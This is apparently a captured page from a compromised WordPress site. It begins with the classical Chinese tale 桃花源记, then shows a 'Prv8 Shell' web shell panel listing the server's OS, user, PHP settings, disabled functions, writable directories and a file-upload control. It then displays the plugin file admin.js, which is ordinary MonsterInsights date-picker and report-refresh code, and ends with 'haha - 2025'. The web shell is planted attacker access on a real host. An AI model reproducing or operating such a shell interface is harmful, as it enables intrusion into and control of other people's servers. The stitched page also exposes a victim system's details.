晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/google-analytics-premium/pro/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/stando/public_html/wp-content/plugins/google-analytics-premium/pro/assets/js/admin.js
/** 
 * Developer's Notice:
 * 
 * Note: JS in this file (and this file itself) is not garunteed backwards compatibility. JS can be added, changed or removed at any time without notice.
 * For more information see the `Backwards Compatibility Guidelines for Developers` section of the README.md file.
 */
jQuery(document).ready(function () {	
	// Flatpickr
	var old_dates = [];
	var optional_config = {
		mode: "range",
		disableMobile: "true",
		dateFormat: "Y-m-d",
			disable: [
			function(date) {
				var startDate = date;
				var endDate   = moment(moment().tz(monsterinsights_admin.timezone).format('YYYY-MM-DD'));
				var duration  = moment.duration(endDate.diff(startDate));
				var diffDays  = duration.asDays();
				diffDays = diffDays + 1;

				var odate      = moment(date).tz(monsterinsights_admin.timezone);
				var rangestart = odate.subtract(diffDays, 'd').tz(monsterinsights_admin.timezone);

				var today         = moment();
				var inrange_left  = rangestart.isBetween(moment("01-01-2005", "MM-DD-YYYY").tz(monsterinsights_admin.timezone), today );
				var inrange_right = moment(date).isBetween(moment("01-01-2005", "MM-DD-YYYY").tz(monsterinsights_admin.timezone), today );
				return ! inrange_left || ! inrange_right;
			}
		],
		onClose: function(selectedDates, dateStr, instance) {
			// Require for now that there is a true range. Perhaps in the future we'll offer
			// open ended ranges (ie a start or just an end range)
			var dates = [];
			if ( selectedDates[0] != null && selectedDates[1] != null ) {
				dates = selectedDates.map(
				 function(date) {
				    return this.formatDate( date, "Y-m-d" );
				 }, this
				);
			} else {
				return;
			}

			if ( ( old_dates[0] != null && old_dates[1] != null ) && ( old_dates[0] == dates[0] && old_dates[1] === dates[1] ) ) {
				return;
			}

			// Blur report shown
			jQuery( "#monsterinsights-reports-pages" ).addClass( "monsterinsights-mega-blur" );

			// Which report?
			var reportname = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id").replace("monsterinsights-main-tab-", "" );
			var reportid   = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id");

			swal({
			  type: 'info',
			  title: monsterinsights_admin.refresh_report_title,
			  text: monsterinsights_admin.refresh_report_text,
			  allowOutsideClick: false,
			  allowEscapeKey: false,
			  allowEnterKey: false,
			  onOpen: function () {
				swal.showLoading();

				var data = { 
					'action'   : 'monsterinsights_refresh_reports', 
					'security' :  monsterinsights_admin.admin_nonce,
					'isnetwork':  monsterinsights_admin.isnetwork,
					'start'    :  dates[0],
					'end'      :  dates[1],
					'report'   :  reportname,
				};
				
				jQuery.post(ajaxurl, data, function( response ) {

					if ( response.success && response.data.html ) {
						// Don't allow replay
						old_dates = dates;

						// Insert new data here
						jQuery("#monsterinsights-main-tab-" + reportname + " > .monsterinsights-reports-wrap").html( response.data.html );
						
						// Resize divs
						monsterinsights_equalheight2column();
						
						jQuery("#monsterinsights-main-tab-" + reportname + " .monsterinsights-pro-report-date-control-group .monsterinsights-pro-report-7-days").removeClass("active").disable(false);
						jQuery("#monsterinsights-main-tab-" + reportname + " .monsterinsights-pro-report-date-control-group .monsterinsights-pro-report-30-days").removeClass("active").disable(false);
						jQuery("#monsterinsights-main-tab-" + reportname + " .monsterinsights-pro-report-date-control-group .monsterinsights-pro-datepicker").addClass("monsterinsights-datepicker-active");
						// swal({
						// 	type: 'success',
						// 	  title: monsterinsights_admin.refresh_report_success_title,
						// 	  text: monsterinsights_admin.refresh_report_success_text,
						//   });

						swal.close();
					} else {
						instance.setDate( old_dates );
						swal({
							type: 'error',
							  title: monsterinsights_admin.refresh_report_failure_title,
							  text: response.data.message,
						  }).catch(swal.noop);
					}
				}).then(function (result) {
					// Unblur reports
					jQuery( "#monsterinsights-reports-pages" ).removeClass( "monsterinsights-mega-blur" );
				}).fail( function(xhr, textStatus, errorThrown) {
					instance.setDate( old_dates );
					var message = jQuery(xhr.responseText).text();
					message = message.substring(0, message.indexOf("Call Stack"));
					swal({
						type: 'error',
						  title: monsterinsights_admin.refresh_report_failure_title,
						  text: message,
					  }).catch(swal.noop);
					// Unblur reports
					jQuery( "#monsterinsights-reports-pages" ).removeClass( "monsterinsights-mega-blur" );
				});
			  }
			});
		},
	};
	jQuery(".monsterinsights-pro-datepicker").flatpickr( optional_config );

	jQuery(".monsterinsights-pro-report-date-control-group > .btn").click(function( e ){
		e.preventDefault();
		var element    = jQuery(this);
		var sevendays  = jQuery(this).hasClass("monsterinsights-pro-report-7-days");
		var thirtydays = jQuery(this).hasClass("monsterinsights-pro-report-30-days");
		if ( sevendays || thirtydays ) {
			// Blur report shown
			jQuery( "#monsterinsights-reports-pages" ).addClass( "monsterinsights-mega-blur" );

			// Which report?
			var reportname = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id").replace("monsterinsights-main-tab-", "" );
			var reportid   = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id");
			var start      = sevendays ? moment().subtract(8, 'days').tz(monsterinsights_admin.timezone).format('YYYY-MM-DD') : moment().subtract(31, 'days').tz(monsterinsights_admin.timezone).format('YYYY-MM-DD');
			var end        = moment().subtract( 1, 'days' ).tz(monsterinsights_admin.timezone).format('YYYY-MM-DD');

			swal({
			  type: 'info',
			  title: monsterinsights_admin.refresh_report_title,
			  text: monsterinsights_admin.refresh_report_text,
			  allowOutsideClick: false,
			  allowEscapeKey: false,
			  allowEnterKey: false,
			  onOpen: function () {
				swal.showLoading();

				var data = { 
					'action'   : 'monsterinsights_refresh_reports', 
					'security' :  monsterinsights_admin.admin_nonce,
					'isnetwork':  monsterinsights_admin.isnetwork,
					'start'    :  start,
					'end'      :  end,
					'report'   :  reportname,
				};
				
				jQuery.post(ajaxurl, data, function( response ) {

					if ( response.success && response.data.html ) {
						// Change active button
						jQuery(element).addClass("active").disable(true).siblings().removeClass("active").disable(false).removeClass('monsterinsights-datepicker-active');

						// Insert new data here
						jQuery("#monsterinsights-main-tab-" + reportname + " > .monsterinsights-reports-wrap").html( response.data.html );

						// Resize divs
						monsterinsights_equalheight2column();
						
						// swal({
						// 	type: 'success',
						// 	  title: monsterinsights_admin.refresh_report_success_title,
						// 	  text: monsterinsights_admin.refresh_report_success_text,
						//   });
						swal.close();
					} else {
						swal({
							type: 'error',
							  title: monsterinsights_admin.refresh_report_failure_title,
							  text: response.data.message,
						  }).catch(swal.noop);
					}
				}).then(function (result) {
					// Unblur reports
					jQuery( "#monsterinsights-reports-pages" ).removeClass( "monsterinsights-mega-blur" );
				}).fail( function(xhr, textStatus, errorThrown) {
					var message = jQuery(xhr.responseText).text();
					message = message.substring(0, message.indexOf("Call Stack"));
					swal({
						type: 'error',
						  title: monsterinsights_admin.refresh_report_failure_title,
						  text: message,
					  }).catch(swal.noop);
					// Unblur reports
					jQuery( "#monsterinsights-reports-pages" ).removeClass( "monsterinsights-mega-blur" );
				});
			  }
			});
		}
	});

	jQuery('#monsterinsights-reports-page-main-nav .monsterinsights-main-nav-item.monsterinsights-nav-item').attrchange(function(attrName) {
		if ( attrName != 'class' ){
			return;
		}

		// Which report?
		var reportname = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id").replace("monsterinsights-main-tab-", "" );

		if ( reportname !== 'realtime' ) {
			return;
		}

		var reportid   = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id");
		var start      = moment().tz(monsterinsights_admin.timezone).format('YYYY-MM-DD');
		var end        = moment().tz(monsterinsights_admin.timezone).format('YYYY-MM-DD');

		// Blur report shown
		jQuery( "#monsterinsights-reports-pages" ).addClass( "monsterinsights-mega-blur" );

		swal({
		  type: 'info',
		  title: monsterinsights_admin.refresh_report_title,
		  text: monsterinsights_admin.refresh_report_text,
		  allowOutsideClick: false,
		  allowEscapeKey: false,
		  allowEnterKey: false,
		  onOpen: function () {
			swal.showLoading();

			var data = { 
				'action'   : 'monsterinsights_refresh_reports', 
				'security' :  monsterinsights_admin.admin_nonce,
				'isnetwork':  monsterinsights_admin.isnetwork,
				'start'    :  start,
				'end'      :  end,
				'report'   :  reportname,
			};

			jQuery.post(ajaxurl, data, function( response ) {

				if ( response.success && response.data.html ) {
					// Insert new data here
					jQuery("#monsterinsights-main-tab-" + reportname + " > .monsterinsights-reports-wrap").html( response.data.html );

					// Resize divs
					monsterinsights_equalheight2column();
					swal.close();
				} else {
					var swal_settings = {
						type: 'error',
						title: monsterinsights_admin.refresh_report_failure_title,
						html: response.data.message,
					};
					if ( response.data.data && response.data.data.footer ) {
						swal_settings.footer = response.data.data.footer;
					}
					swal(swal_settings).catch(swal.noop);
				}
			}).then(function (result) {
				// Unblur reports
				jQuery( "#monsterinsights-reports-pages" ).removeClass( "monsterinsights-mega-blur" );
			}).fail( function(xhr, textStatus, errorThrown) {
				var message = jQuery(xhr.responseText).text();
				message = message.substring(0, message.indexOf("Call Stack"));
				swal({
					type: 'error',
					  title: monsterinsights_admin.refresh_report_failure_title,
					  text: message,
				  }).catch(swal.noop);
				// Unblur reports
				jQuery( "#monsterinsights-reports-pages" ).removeClass( "monsterinsights-mega-blur" );
			});
		  }
		});

		monsterinsights_realtime_timer();
		setTimeout( function() { monsterinsights_realtime_report_poll(); }, 60000);
	});

	function monsterinsights_realtime_report_poll( error_count = 0 ) {
		var reportname = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id").replace("monsterinsights-main-tab-", "" );
		if ( reportname !== 'realtime' || error_count > 5 ) {
			return;
		}

		if ( ! document.hasFocus() ) {
			jQuery( "#monsterinsights-reports-pages" ).addClass( "monsterinsights-mega-blur" );

			while ( ! document.hasFocus() ) {
				swal({
				  type: 'info',
				  title: monsterinsights_admin.resume_report_title,
				  text: monsterinsights_admin.resume_report_text,
				  allowOutsideClick: false,
				  allowEscapeKey: false,
				  allowEnterKey: false,
				  showConfirmButton: false,
				});
				return;
			}
		}

		var reportid   = jQuery("#monsterinsights-reports-pages").find( "div.monsterinsights-main-nav-tab.monsterinsights-active" ).attr("id");
		var start      = moment().tz(monsterinsights_admin.timezone).format('YYYY-MM-DD');
		var end        = moment().tz(monsterinsights_admin.timezone).format('YYYY-MM-DD');
		var data = {
			'action'   : 'monsterinsights_refresh_reports',
			'security' :  monsterinsights_admin.admin_nonce,
			'isnetwork':  monsterinsights_admin.isnetwork,
			'start'    :  start,
			'end'      :  end,
			'report'   :  reportname,
		};

		jQuery.post(ajaxurl, data, function( response ) {

			if ( response.success && response.data.html ) {

				// Blur report shown
				jQuery( "#monsterinsights-reports-pages" ).addClass( "monsterinsights-mega-blur" );

				// Open spinner
				swal({
				  type: 'info',
				  title: monsterinsights_admin.refresh_report_title,
				  text: monsterinsights_admin.refresh_report_text,
				  allowOutsideClick: false,
				  allowEscapeKey: false,
				  allowEnterKey: false,
				  onOpen: function () {
					swal.showLoading();
				  }
				});

				// Insert new data here
				jQuery("#monsterinsights-main-tab-" + reportname + " > .monsterinsights-reports-wrap").html( response.data.html );

				// Resize divs
				monsterinsights_equalheight2column();

				// Unblur reports
				jQuery( "#monsterinsights-reports-pages" ).removeClass( "monsterinsights-mega-blur" );

				// Close spinner
				swal.close();
			} else {
				// Nothing
			}
		}).then(function (result) {
			// Restart Timer
			monsterinsights_realtime_timer();
		}).fail( function(xhr, textStatus, errorThrown) {
			error_count++;
		});

		// repoll
		setTimeout( function() { monsterinsights_realtime_report_poll( error_count ); }, 60000);
	}

	var monsterinsights_realtime_global_timer;
	function monsterinsights_realtime_timer() {
	    var time = 0;
	    if ( monsterinsights_realtime_global_timer ) {
	    	clearTimeout(monsterinsights_realtime_global_timer);
	    }
	    monsterinsights_realtime_global_timer = setInterval(function() {
	        time++;
	        jQuery( "#monsterinsights-realtime-report-timer" ).html(time);
	    }, 1000);
	}
});

haha - 2025